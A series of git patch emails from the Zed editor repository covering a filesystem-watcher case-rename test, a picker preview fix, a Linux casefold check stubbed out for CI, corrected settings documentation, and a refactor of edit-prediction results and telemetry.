+    //     the watch is established, so later events arrive under a spelling the
+    //     registered (old-case) root no longer matches. ---
+    if case_insensitive {
+        let real = root.join("CaseEcho");
+        std::fs::create_dir_all(&real).expect("create case-rename dir");
+        let (events, watcher) = fs.watch(&real, latency).await;
+        let renamed = root.join("CASEECHO");
+        let file = renamed.join("echo.txt");
+        scenarios.push(Scenario {
+            name: "case_rename_root",
+            events,
+            _watcher: watcher,
+            path_matches: Box::new(|path| path.ends_with(Path::new("echo.txt"))),
+            action: Some(Box::new(move || {
+                std::fs::rename(&real, &renamed).expect("case-only rename of watched root");
+                std::fs::write(&file, b"x").expect("write case-rename file");
+            })),
+        });
+    } else {
+        skipped.push("case_rename_root (case-sensitive fs)".to_owned());
+    }
+
+    // Let every watch settle before mutating, then perform all mutations.
+    executor.timer(Duration::from_millis(250)).await;
+    for scenario in &mut scenarios {
+        if let Some(action) = scenario.action.take() {
+            action();
+        }
+    }
+
+    let mut failures = Vec::new();
+    for scenario in &mut scenarios {
+        let delivered = watcher_delivered_event(
+            &mut scenario.events,
+            &executor,
+            Duration::from_secs(3),
+            scenario.path_matches.as_ref(),
+        )
+        .await;
+        eprintln!("scenario {}: delivered={delivered}", scenario.name);
+        if !delivered {
+            failures.push(scenario.name);
+        }
+    }
+
+    for name in &skipped {
+        eprintln!("scenario skipped: {name}");
+    }
+
+    assert!(
+        failures.is_empty(),
+        "watchers failed to deliver events for {failures:?} (skipped: {skipped:?})"
+    );
+}
+
 #[gpui::test]
 #[ignore = "stress test; run explicitly when needed"]
 async fn test_realfs_watch_stress_reports_missed_paths(
diff --git a/crates/worktree/src/worktree.rs b/crates/worktree/src/worktree.rs
index b4b955ca872a0f..55d161aea6f38f 100644
--- a/crates/worktree/src/worktree.rs
+++ b/crates/worktree/src/worktree.rs
@@ -4594,6 +4594,11 @@ impl BackgroundScanner {
 
             for (ix, event) in events.iter().enumerate() {
                 let abs_path = SanitizedPath::new(&event.path);
+                // TODO: this strips the root case-sensitively, so on a case-insensitive
+                // volume an event whose casing differs from the canonical root is
+                // dropped. Once `fs` exposes per-volume case-sensitivity (e.g. on the
+                // `Fs` trait, with a per-volume cache + `FakeFs` support), fold this
+                // comparison on case-insensitive volumes.
                 let relative_path = if let Ok(path) = abs_path.strip_prefix(&root_canonical_path)
                     && let Ok(path) = RelPath::new(path, PathStyle::local())
                 {

From 3df8983debfa74eeece743385330a64b2c8ad5d4 Mon Sep 17 00:00:00 2001
From: Anthony Eid <56899983+Anthony-Eid@users.noreply.github.com>
Date: Fri, 19 Jun 2026 18:45:20 -0400
Subject: [PATCH 009/772] Fix picker preview for matches far down in files
 (#59621)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Fixes picker previews for matches far down in a file by building the
excerpt around the actual matched row instead of clamping it to the
preview height estimate.

### Before

<img width="1858" height="1192" alt="Screenshot 2026-06-19 at 6 03
03 PM"
src="https://github.com/user-attachments/assets/fcbed7c4-22d6-4481-a263-522bb48c656f"
/>

### After

<img width="2057" height="1128" alt="Screenshot 2026-06-19 at 6 05
02 PM"
src="https://github.com/user-attachments/assets/f88db8e2-8687-4f79-8085-bca50de09ce9"
/>

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
---
 crates/picker/src/preview.rs | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/crates/picker/src/preview.rs b/crates/picker/src/preview.rs
index a39818ac1a2654..cdfd0957f139ab 100644
--- a/crates/picker/src/preview.rs
+++ b/crates/picker/src/preview.rs
@@ -253,7 +253,8 @@ impl EditorPreview {
 
         const MIN_LINE_HEIGHT_PX: Pixels = px(6.0);
         const MARGIN: u32 = 2; // scrolling can offset things;
-        let max_rows = (window.viewport_size().height / MIN_LINE_HEIGHT_PX).ceil() as u32 + MARGIN;
+        let max_visible_rows =
+            (window.viewport_size().height / MIN_LINE_HEIGHT_PX).ceil() as u32 + MARGIN;
 
         self.preview_editor.update(cx, |editor, cx| {
             let focus_row = highlight
@@ -264,8 +265,7 @@ impl EditorPreview {
                         .to_point(&buffer.read(cx).text_snapshot())
                         .row
                 })
-                .unwrap_or_default()
-                .min(max_rows);
+                .unwrap_or_default();
 
             let multi_buffer = editor.buffer().clone();
             multi_buffer.update(cx, |multi_buffer, cx| {
@@ -273,7 +273,7 @@ impl EditorPreview {
                 multi_buffer.set_excerpts_for_buffer(
                     buffer,
                     [Point::new(focus_row, 0)..Point::new(focus_row, 0)],
-                    max_rows,
+                    max_visible_rows,
                     cx,
                 );
             });

From 9f56a4df515c9989bf0baa71c2150408cce0608e Mon Sep 17 00:00:00 2001
From: Anthony Eid <56899983+Anthony-Eid@users.noreply.github.com>
Date: Fri, 19 Jun 2026 18:49:34 -0400
Subject: [PATCH 010/772] Fix CI error from linux case insensitive path
 (#59624)

CI failed to build Linux because of my recent FS watcher fix, so I
commented out the libc code and defaulted to false. In a follow up PR I
will fix this

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
---
 crates/fs/src/fs_watcher.rs | 43 +++++++++++++++++++------------------
 1 file changed, 22 insertions(+), 21 deletions(-)

diff --git a/crates/fs/src/fs_watcher.rs b/crates/fs/src/fs_watcher.rs
index 49d0d429d8e0fc..80393e7d784c57 100644
--- a/crates/fs/src/fs_watcher.rs
+++ b/crates/fs/src/fs_watcher.rs
@@ -369,27 +369,28 @@ fn case_insensitive_path(path: &Path) -> bool {
 }
 
 #[cfg(target_os = "linux")]
-fn case_insensitive_path(path: &Path) -> bool {
-    use std::os::unix::ffi::OsStrExt as _;
-
-    // Only ext4/f2fs casefold (`+F`) dirs are insensitive, reported by `statx` via
-    // STATX_ATTR_CASEFOLD; any failure (e.g. pre-4.11 ENOSYS) means case-sensitive.
-    const STATX_ATTR_CASEFOLD: u64 = 0x0000_2000;
-    let Ok(c_path) = std::ffi::CString::new(path.as_os_str().as_bytes()) else {
-        return false;
-    };
-    let mut buf = std::mem::MaybeUninit::<libc::statx>::zeroed();
-
-    // SAFETY: c_path is still valid, buffer has been zeroed
-    if unsafe { libc::statx(libc::AT_FDCWD, c_path.as_ptr(), 0, 0, buf.as_mut_ptr()) } != 0 {
-        return false;
-    }
-
-    // SAFETY: libc statx initialized this buffer, otherwise we would've returned on a error
-    // in that function call
-    let buf = unsafe { buf.assume_init() };
-    buf.stx_attributes_mask & STATX_ATTR_CASEFOLD != 0
-        && buf.stx_attributes & STATX_ATTR_CASEFOLD != 0
+fn case_insensitive_path(_path: &Path) -> bool {
+    // use std::os::unix::ffi::OsStrExt as _;
+
+    // // Only ext4/f2fs casefold (`+F`) dirs are insensitive, reported by `statx` via
+    // // STATX_ATTR_CASEFOLD; any failure (e.g. pre-4.11 ENOSYS) means case-sensitive.
+    // const STATX_ATTR_CASEFOLD: u64 = 0x0000_2000;
+    // let Ok(c_path) = std::ffi::CString::new(path.as_os_str().as_bytes()) else {
+    //     return false;
+    // };
+    // let mut buf = std::mem::MaybeUninit::<libc::statx>::zeroed();
+
+    // // SAFETY: c_path is still valid, buffer has been zeroed
+    // if unsafe { libc::statx(libc::AT_FDCWD, c_path.as_ptr(), 0, 0, buf.as_mut_ptr()) } != 0 {
+    //     return false;
+    // }
+
+    // // SAFETY: libc statx initialized this buffer, otherwise we would've returned on a error
+    // // in that function call
+    // let buf = unsafe { buf.assume_init() };
+    // buf.stx_attributes_mask & STATX_ATTR_CASEFOLD != 0
+    //     && buf.stx_attributes & STATX_ATTR_CASEFOLD != 0
+    false
 }
 
 #[cfg(target_os = "windows")]

From f99df1a155673598965d35b73528557cedcfe6f2 Mon Sep 17 00:00:00 2001
From: Ibrahim Khan <2005ibrahimkhan@gmail.com>
Date: Sat, 20 Jun 2026 03:23:56 -0700
Subject: [PATCH 011/772] docs: Fix incorrect default values (#59578)

# Objective

The settings reference documents three default values that no longer
match the shipped defaults in
[`assets/settings/default.json`](https://github.com/zed-industries/zed/blob/main/assets/settings/default.json):

- `line_indicator_format`: docs said `"short"`, actual default is
`"long"`
([`default.json:2643`](https://github.com/zed-industries/zed/blob/main/assets/settings/default.json#L2643);
the `LineIndicatorFormat` enum marks `Long` as `#[default]` in
[`crates/settings_content/src/settings_content.rs#L1094`](https://github.com/zed-industries/zed/blob/main/crates/settings_content/src/settings_content.rs#L1094)).
- `pane_split_direction_horizontal`: docs said `"up"`, actual default is
`"down"`
([`default.json:90`](https://github.com/zed-industries/zed/blob/main/assets/settings/default.json#L90)).
- `pane_split_direction_vertical`: docs said `"left"`, actual default is
`"right"`
([`default.json:92`](https://github.com/zed-industries/zed/blob/main/assets/settings/default.json#L92)).

The pane split defaults were changed in #36101 ("Change default pane
split directions"), which updated `default.json` but not the docs.

## Solution

Update the three `- Default:` values in
`docs/src/reference/all-settings.md` to match
`assets/settings/default.json`. The runtime honors these `default.json`
values (e.g.
[`crates/workspace/src/workspace_settings.rs`](https://github.com/zed-industries/zed/blob/main/crates/workspace/src/workspace_settings.rs#L98)
`.unwrap()`s the pane split options supplied by `default.json`).

## Testing

- `cd docs && npx prettier --check src/reference/all-settings.md`
passes.
- Verified each documented default now matches
`assets/settings/default.json`.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
---
 docs/src/reference/all-settings.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/docs/src/reference/all-settings.md b/docs/src/reference/all-settings.md
index 630771c6248363..c78e7c92eb0fc7 100644
--- a/docs/src/reference/all-settings.md
+++ b/docs/src/reference/all-settings.md
@@ -3015,7 +3015,7 @@ Configuration for various AI model providers including API URLs and authenticati
 
 - Description: Format for line indicator in the status bar
 - Setting: `line_indicator_format`
-- Default: `"short"`
+- Default: `"long"`
 
 **Options**
 
@@ -3375,7 +3375,7 @@ Examples:
 
 - Description: The direction that you want to split panes horizontally
 - Setting: `pane_split_direction_horizontal`
-- Default: `"up"`
+- Default: `"down"`
 
 **Options**
 
@@ -3399,7 +3399,7 @@ Examples:
 
 - Description: The direction that you want to split panes vertically
 - Setting: `pane_split_direction_vertical`
-- Default: `"left"`
+- Default: `"right"`
 
 **Options**
 

From 45e84381e23e65cfff3dae39ad425a072bd017e8 Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Sat, 20 Jun 2026 15:57:43 -0500
Subject: [PATCH 012/772] ep: Limit diagnostic message token counts (#59644)

# Objective

Prevent unbounded ep request sizes

## Solution

Use same token limiting logic used for snippets, on diagnostic messages

## Testing

- Did you test these changes? If so, how?
- Are there any parts that need more testing?
- How can other people (reviewers) test your changes? Is there anything
specific they need to know?
- If relevant, what platforms did you test these changes on, and are
there any important ones you can't test?

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

> This section is optional. If this PR does not include a visual change
or does not add a new user-facing feature, you can delete this section.

- Help others understand the result of this PR by showcasing your
awesome work!
- If this PR includes a visual change, consider adding a screenshot,
GIF, or video
- A before/after comparison is very useful for changes to existing
features!

While a showcase should aim to be brief and digestible, you can use a
toggleable section to save space on longer showcases:

<details>
  <summary>Click to view showcase</summary>

My super cool demos here

</details>

---

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/edit_prediction/src/zeta.rs | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/crates/edit_prediction/src/zeta.rs b/crates/edit_prediction/src/zeta.rs
index 172726a1d575e2..013929b3915c3d 100644
--- a/crates/edit_prediction/src/zeta.rs
+++ b/crates/edit_prediction/src/zeta.rs
@@ -567,6 +567,7 @@ fn handle_api_response<T>(
 
 const ACTIVE_BUFFER_DIAGNOSTIC_ADDITIONAL_CONTEXT_TOKEN_COUNT: usize = 100;
 const MAX_ACTIVE_BUFFER_DIAGNOSTICS_TO_COLLECT: usize = 20;
+const MAX_ACTIVE_BUFFER_DIAGNOSTIC_MESSAGE_TOKENS_TO_COLLECT: usize = 512;
 const MAX_ACTIVE_BUFFER_DIAGNOSTIC_SNIPPET_TOKENS_TO_COLLECT: usize = 512;
 
 pub(crate) fn active_buffer_diagnostics(
@@ -601,7 +602,11 @@ pub(crate) fn active_buffer_diagnostics(
             };
             (
                 severity,
-                entry.diagnostic.message.clone(),
+                zeta_prompt::clamp_text_to_token_count(
+                    &entry.diagnostic.message,
+                    MAX_ACTIVE_BUFFER_DIAGNOSTIC_MESSAGE_TOKENS_TO_COLLECT,
+                )
+                .to_string(),
                 diagnostic_point_range,
                 snippet_point_range,
             )

From 50e6411571398f007863dfa8fc3a5e2737d7290a Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Sat, 20 Jun 2026 17:40:15 -0500
Subject: [PATCH 013/772] ep: Track settled telemetry for empty predictions
 (#59645)

# Objective

## Solution

- Describe the solution used to achieve the objective above.

## Testing

- Did you test these changes? If so, how?
- Are there any parts that need more testing?
- How can other people (reviewers) test your changes? Is there anything
specific they need to know?
- If relevant, what platforms did you test these changes on, and are
there any important ones you can't test?

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

> This section is optional. If this PR does not include a visual change
or does not add a new user-facing feature, you can delete this section.

- Help others understand the result of this PR by showcasing your
awesome work!
- If this PR includes a visual change, consider adding a screenshot,
GIF, or video
- A before/after comparison is very useful for changes to existing
features!

While a showcase should aim to be brief and digestible, you can use a
toggleable section to save space on longer showcases:

<details>
  <summary>Click to view showcase</summary>

My super cool demos here

</details>

---

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/edit_prediction/src/edit_prediction.rs | 165 +++++++++---------
 .../src/edit_prediction_tests.rs              |  12 +-
 crates/edit_prediction/src/prediction.rs      |  94 ++++------
 crates/edit_prediction/src/zeta.rs            | 118 ++++++-------
 crates/edit_prediction_cli/src/predict.rs     |   2 +-
 .../src/rate_prediction_modal.rs              |  18 +-
 6 files changed, 177 insertions(+), 232 deletions(-)

diff --git a/crates/edit_prediction/src/edit_prediction.rs b/crates/edit_prediction/src/edit_prediction.rs
index ac95aac0dfced4..1136a482a81081 100644
--- a/crates/edit_prediction/src/edit_prediction.rs
+++ b/crates/edit_prediction/src/edit_prediction.rs
@@ -180,7 +180,7 @@ pub struct EditPredictionStore {
     legacy_data_collection_enabled: bool,
     reject_predictions_tx: mpsc::UnboundedSender<EditPredictionRejectionPayload>,
     settled_predictions_tx: mpsc::UnboundedSender<Instant>,
-    shown_predictions: VecDeque<EditPrediction>,
+    rateable_predictions: VecDeque<EditPrediction>,
     rated_predictions: HashSet<EditPredictionId>,
     #[cfg(test)]
     settled_event_callback: Option<Box<dyn Fn(EditPredictionId, String)>>,
@@ -965,7 +965,7 @@ impl EditPredictionStore {
             reject_predictions_tx: reject_tx,
             settled_predictions_tx,
             rated_predictions: Default::default(),
-            shown_predictions: Default::default(),
+            rateable_predictions: Default::default(),
             #[cfg(test)]
             settled_event_callback: None,
 
@@ -1034,7 +1034,7 @@ impl EditPredictionStore {
 
     pub fn active_experiment(&self) -> Option<&str> {
         self.preferred_experiment.as_deref().or_else(|| {
-            self.shown_predictions
+            self.rateable_predictions
                 .iter()
                 .find_map(|p| p.model_version.as_ref())
                 .and_then(|model_version| model_version.strip_prefix("zeta2:"))
@@ -2174,10 +2174,10 @@ impl EditPredictionStore {
         }
 
         if is_first_non_jump_show {
-            self.shown_predictions
+            self.rateable_predictions
                 .push_front(current_prediction.prediction.clone());
-            if self.shown_predictions.len() > 50 {
-                let completion = self.shown_predictions.pop_back().unwrap();
+            if self.rateable_predictions.len() > 50 {
+                let completion = self.rateable_predictions.pop_back().unwrap();
                 self.rated_predictions.remove(&completion.id);
             }
         }
@@ -2390,11 +2390,10 @@ impl EditPredictionStore {
                                 prediction_result
                             } else {
                                 EditPredictionResult {
-                                    id: prediction_result.id,
-                                    prediction: Err(EditPredictionRejectReason::CurrentPreferred),
-                                    display_prediction: None,
-                                    model_version: prediction_result.model_version,
-                                    e2e_latency: prediction_result.e2e_latency,
+                                    reject_reason: Some(
+                                        EditPredictionRejectReason::CurrentPreferred,
+                                    ),
+                                    ..prediction_result
                                 }
                             },
                             PredictionRequestedBy::DiagnosticsUpdate,
@@ -2566,9 +2565,12 @@ impl EditPredictionStore {
             }
 
             let new_prediction_result = do_refresh(this.clone(), cx).await.log_err().flatten();
-            let new_prediction_metadata = new_prediction_result
-                .as_ref()
-                .map(|(prediction, _)| (prediction.id.clone(), prediction.model_version.clone()));
+            let new_prediction_metadata = new_prediction_result.as_ref().map(|(result, _)| {
+                (
+                    result.prediction.id.clone(),
+                    result.prediction.model_version.clone(),
+                )
+            });
 
             // When a prediction completes, remove it from the pending list, and cancel
             // any pending predictions that were enqueued before it.
@@ -2582,81 +2584,72 @@ impl EditPredictionStore {
                 let new_current_prediction = if !is_cancelled
                     && let Some((prediction_result, requested_by)) = new_prediction_result
                 {
-                    match prediction_result {
-                        EditPredictionResult {
-                            prediction: Ok(prediction),
-                            e2e_latency,
-                            ..
-                        } => {
-                            let new_prediction = CurrentEditPrediction {
-                                requested_by,
-                                prediction,
-                                was_shown: false,
-                                shown_with: None,
-                                e2e_latency,
-                            };
+                    let EditPredictionResult {
+                        prediction,
+                        reject_reason,
+                        e2e_latency,
+                    } = prediction_result;
+
+                    if let Some(reject_reason) = reject_reason {
+                        let should_allow_rating_prediction = matches!(
+                            reject_reason,
+                            EditPredictionRejectReason::Empty
+                                | EditPredictionRejectReason::InterpolatedEmpty
+                        );
+                        let prediction_id = prediction.id.clone();
+                        let model_version = prediction.model_version.clone();
 
-                            if let Some(current_prediction) =
-                                project_state.current_prediction.as_ref()
-                            {
-                                if new_prediction.should_replace_prediction(&current_prediction, cx)
-                                {
-                                    this.reject_current_prediction(
-                                        EditPredictionRejectReason::Replaced,
-                                        &project,
-                                        cx,
-                                    );
+                        this.reject_prediction(
+                            prediction_id,
+                            reject_reason,
+                            false,
+                            model_version,
+                            Some(e2e_latency),
+                            cx,
+                        );
 
-                                    Some(new_prediction)
-                                } else {
-                                    this.reject_prediction(
-                                        new_prediction.prediction.id,
-                                        EditPredictionRejectReason::CurrentPreferred,
-                                        false,
-                                        new_prediction.prediction.model_version,
-                                        Some(new_prediction.e2e_latency),
-                                        cx,
-                                    );
-                                    None
-                                }
-                            } else {
-                                Some(new_prediction)
+                        if should_allow_rating_prediction {
+                            this.rateable_predictions.push_front(prediction);
+                            if this.rateable_predictions.len() > 50
+                                && let Some(completion) = this.rateable_predictions.pop_back()
+                            {
+                                this.rated_predictions.remove(&completion.id);
                             }
                         }
-                        EditPredictionResult {
-                            id,
-                            prediction: Err(reject_reason),
-                            display_prediction,
-                            model_version,
+
+                        None
+                    } else {
+                        let new_prediction = CurrentEditPrediction {
+                            requested_by,
+                            prediction,
+                            was_shown: false,
+                            shown_with: None,
                             e2e_latency,
-                        } => {
-                            let should_show_rejected_prediction = matches!(
-                                reject_reason,
-                                EditPredictionRejectReason::Empty
-                                    | EditPredictionRejectReason::InterpolatedEmpty
-                            );
-
-                            this.reject_prediction(
-                                id,
-                                reject_reason,
-                                false,
-                                model_version,
-                                Some(e2e_latency),
-                                cx,
-                            );
+                        };
 
-                            if should_show_rejected_prediction
-                                && let Some(display_prediction) = display_prediction
-                            {
-                                this.shown_predictions.push_front(display_prediction);
-                                if this.shown_predictions.len() > 50
-                                    && let Some(completion) = this.shown_predictions.pop_back()
-                                {
-                                    this.rated_predictions.remove(&completion.id);
-                                }
-                            }
+                        if let Some(current_prediction) = project_state.current_prediction.as_ref()
+                        {
+                            if new_prediction.should_replace_prediction(&current_prediction, cx) {
+                                this.reject_current_prediction(
+                                    EditPredictionRejectReason::Replaced,
+                                    &project,
+                                    cx,
+                                );
 
-                            None
+                                Some(new_prediction)
+                            } else {
+                                this.reject_prediction(
+                                    new_prediction.prediction.id,
+                                    EditPredictionRejectReason::CurrentPreferred,
+                                    false,
+                                    new_prediction.prediction.model_version,
+                                    Some(new_prediction.e2e_latency),
+                                    cx,
+                                );
+                                None
+                            }
+                        } else {
+                            Some(new_prediction)
                         }
                     }
                 } else {
@@ -3319,12 +3312,12 @@ impl EditPredictionStore {
             })
     }
 
-    pub fn shown_predictions(&self) -> impl DoubleEndedIterator<Item = &EditPrediction> {
-        self.shown_predictions.iter()
+    pub fn rateable_predictions(&self) -> impl DoubleEndedIterator<Item = &EditPrediction> {
+        self.rateable_predictions.iter()
     }
 
-    pub fn shown_completions_len(&self) -> usize {
-        self.shown_predictions.len()
+    pub fn rateable_predictions_count(&self) -> usize {
+        self.rateable_predictions.len()
     }
 
     pub fn is_prediction_rated(&self, id: &EditPredictionId) -> bool {
diff --git a/crates/edit_prediction/src/edit_prediction_tests.rs b/crates/edit_prediction/src/edit_prediction_tests.rs
index 5195393f2f6982..3dc02f8eb5da30 100644
--- a/crates/edit_prediction/src/edit_prediction_tests.rs
+++ b/crates/edit_prediction/src/edit_prediction_tests.rs
@@ -482,7 +482,7 @@ async fn test_simple_request(cx: &mut TestAppContext) {
         ))
         .unwrap();
 
-    let prediction = prediction_task.await.unwrap().unwrap().prediction.unwrap();
+    let prediction = prediction_task.await.unwrap().unwrap().prediction;
 
     assert_eq!(prediction.edits.len(), 1);
     assert_eq!(
@@ -565,7 +565,7 @@ async fn test_request_events(cx: &mut TestAppContext) {
         ))
         .unwrap();
 
-    let prediction = prediction_task.await.unwrap().unwrap().prediction.unwrap();
+    let prediction = prediction_task.await.unwrap().unwrap().prediction;
 
     assert_eq!(prediction.edits.len(), 1);
     assert_eq!(prediction.edits[0].1.as_ref(), " are you?");
@@ -1478,7 +1478,7 @@ async fn test_empty_prediction(cx: &mut TestAppContext) {
                 .prediction_at(&buffer, None, &project, cx)
                 .is_none()
         );
-        let shown_predictions = ep_store.shown_predictions().collect::<Vec<_>>();
+        let shown_predictions = ep_store.rateable_predictions().collect::<Vec<_>>();
         assert_eq!(shown_predictions.len(), 1);
         assert_eq!(shown_predictions[0].id.to_string(), id);
         assert!(shown_predictions[0].edits.is_empty());
@@ -1556,7 +1556,7 @@ async fn test_interpolated_empty(cx: &mut TestAppContext) {
                 .prediction_at(&buffer, None, &project, cx)
                 .is_none()
         );
-        let shown_predictions = ep_store.shown_predictions().collect::<Vec<_>>();
+        let shown_predictions = ep_store.rateable_predictions().collect::<Vec<_>>();
         assert_eq!(shown_predictions.len(), 1);
         assert_eq!(shown_predictions[0].id.to_string(), id);
         assert!(shown_predictions[0].edits.is_empty());
@@ -1777,7 +1777,7 @@ async fn test_current_preferred(cx: &mut TestAppContext) {
             first_id
         );
         let shown_prediction_ids = ep_store
-            .shown_predictions()
+            .rateable_predictions()
             .map(|prediction| prediction.id.to_string())
             .collect::<Vec<_>>();
         assert!(shown_prediction_ids.is_empty());
@@ -3351,7 +3351,7 @@ async fn run_edit_prediction(
             cx,
         )
     });
-    prediction_task.await.unwrap().unwrap().prediction.unwrap()
+    prediction_task.await.unwrap().unwrap().prediction
 }
 
 async fn make_test_ep_store(
diff --git a/crates/edit_prediction/src/prediction.rs b/crates/edit_prediction/src/prediction.rs
index c01c52e2bdae6c..b9d41c44ea7309 100644
--- a/crates/edit_prediction/src/prediction.rs
+++ b/crates/edit_prediction/src/prediction.rs
@@ -23,10 +23,8 @@ impl std::fmt::Display for EditPredictionId {
 
 /// A prediction response that was returned from the provider, whether it was ultimately valid or not.
 pub struct EditPredictionResult {
-    pub id: EditPredictionId,
-    pub prediction: Result<EditPrediction, EditPredictionRejectReason>,
-    pub display_prediction: Option<EditPrediction>,
-    pub model_version: Option<String>,
+    pub prediction: EditPrediction,
+    pub reject_reason: Option<EditPredictionRejectReason>,
     pub e2e_latency: std::time::Duration,
 }
 
@@ -44,65 +42,38 @@ impl EditPredictionResult {
         e2e_latency: std::time::Duration,
         cx: &mut AsyncApp,
     ) -> Self {
-        if edits.is_empty() {
-            let empty_edits = Arc::new([]);
-            return Self {
-                id: id.clone(),
-                prediction: Err(EditPredictionRejectReason::Empty),
-                display_prediction: Some(EditPrediction {
-                    id,
-                    edits: empty_edits,
-                    cursor_position: None,
-                    editable_range,
-                    snapshot: edited_buffer_snapshot.clone(),
-                    edit_preview: EditPreview::unchanged(edited_buffer_snapshot),
-                    buffer: edited_buffer.clone(),
-                    inputs,
-                    model_version: model_version.clone(),
-                    trigger,
-                }),
-                model_version,
-                e2e_latency,
-            };
-        }
-
-        let (edits, snapshot) = edited_buffer.read_with(cx, |buffer, _cx| {
-            let new_snapshot = buffer.snapshot();
-            let edits: Option<Arc<[(Range<Anchor>, Arc<str>)]>> =
-                interpolate_edits(&edited_buffer_snapshot, &new_snapshot, &edits).map(Arc::from);
-
-            (edits, new_snapshot)
-        });
+        let (edits, new_snapshot) = (!edits.is_empty())
+            .then(|| {
+                edited_buffer.read_with(cx, |buffer, _cx| {
+                    let new_snapshot = buffer.snapshot();
+                    let edits: Arc<[(Range<Anchor>, Arc<str>)]> =
+                        interpolate_edits(&edited_buffer_snapshot, &new_snapshot, &edits)
+                            .map(Arc::from)
+                            .unwrap_or_default();
+                    let snapshot = (!edits.is_empty()).then_some(new_snapshot);
+                    (Some(edits), snapshot)
+                })
+            })
+            .unwrap_or_default();
+        let snapshot = new_snapshot.unwrap_or_else(|| edited_buffer_snapshot.clone());
 
-        let Some(edits) = edits else {
-            let empty_edits: Arc<[(Range<Anchor>, Arc<str>)]> = Vec::new().into();
-            return Self {
-                id: id.clone(),
-                prediction: Err(EditPredictionRejectReason::InterpolatedEmpty),
-                display_prediction: Some(EditPrediction {
-                    id,
-                    edits: empty_edits,
-                    cursor_position: None,
-                    editable_range,
-                    snapshot: edited_buffer_snapshot.clone(),
-                    edit_preview: EditPreview::unchanged(edited_buffer_snapshot),
-                    inputs,
-                    buffer: edited_buffer.clone(),
-                    model_version: model_version.clone(),
-                    trigger,
-                }),
-                model_version,
-                e2e_latency,
-            };
+        let reject_reason = match edits.as_ref() {
+            None => Some(EditPredictionRejectReason::Empty),
+            Some(edits) if edits.is_empty() => Some(EditPredictionRejectReason::InterpolatedEmpty),
+            Some(_) => None,
         };
+        let edits = edits.unwrap_or_default();
 
-        let edit_preview = edited_buffer
-            .read_with(cx, |buffer, cx| buffer.preview_edits(edits.clone(), cx))
-            .await;
+        let edit_preview = if !edits.is_empty() {
+            edited_buffer
+                .read_with(cx, |buffer, cx| buffer.preview_edits(edits.clone(), cx))
+                .await
+        } else {
+            EditPreview::unchanged(edited_buffer_snapshot)
+        };
 
         Self {
-            id: id.clone(),
-            prediction: Ok(EditPrediction {
+            prediction: EditPrediction {
                 id,
                 edits,
                 cursor_position,
@@ -111,11 +82,10 @@ impl EditPredictionResult {
                 edit_preview,
                 inputs,
                 buffer: edited_buffer.clone(),
-                model_version: model_version.clone(),
+                model_version,
                 trigger,
-            }),
-            display_prediction: None,
-            model_version,
+            },
+            reject_reason,
             e2e_latency,
         }
     }
diff --git a/crates/edit_prediction/src/zeta.rs b/crates/edit_prediction/src/zeta.rs
index 013929b3915c3d..2631d0fd229bcc 100644
--- a/crates/edit_prediction/src/zeta.rs
+++ b/crates/edit_prediction/src/zeta.rs
@@ -7,9 +7,7 @@ use crate::{
     prediction::EditPredictionResult,
 };
 use anyhow::{Context as _, Result};
-use cloud_llm_client::{
-    AcceptEditPredictionBody, EditPredictionRejectReason, predict_edits_v3::RawCompletionRequest,
-};
+use cloud_llm_client::{AcceptEditPredictionBody, predict_edits_v3::RawCompletionRequest};
 use edit_prediction_types::PredictedCursorPosition;
 use futures::future::Shared;
 use gpui::{App, AppContext as _, Entity, Task, TaskExt, WeakEntity, prelude::*};
@@ -23,12 +21,11 @@ use ui::SharedString;
 use workspace::notifications::simple_message_notification::MessageNotification;
 use workspace::notifications::{NotificationId, show_app_notification};
 use workspace::workspace_error::{ErrorAction, ErrorSeverity, WorkspaceError};
-use zeta_prompt::{ParsedOutput, ZetaPromptInput};
 
 use std::{ops::Range, path::Path, sync::Arc};
 use zeta_prompt::{
-    ZetaFormat, excerpt_range_for_format, format_zeta_prompt, get_prefill,
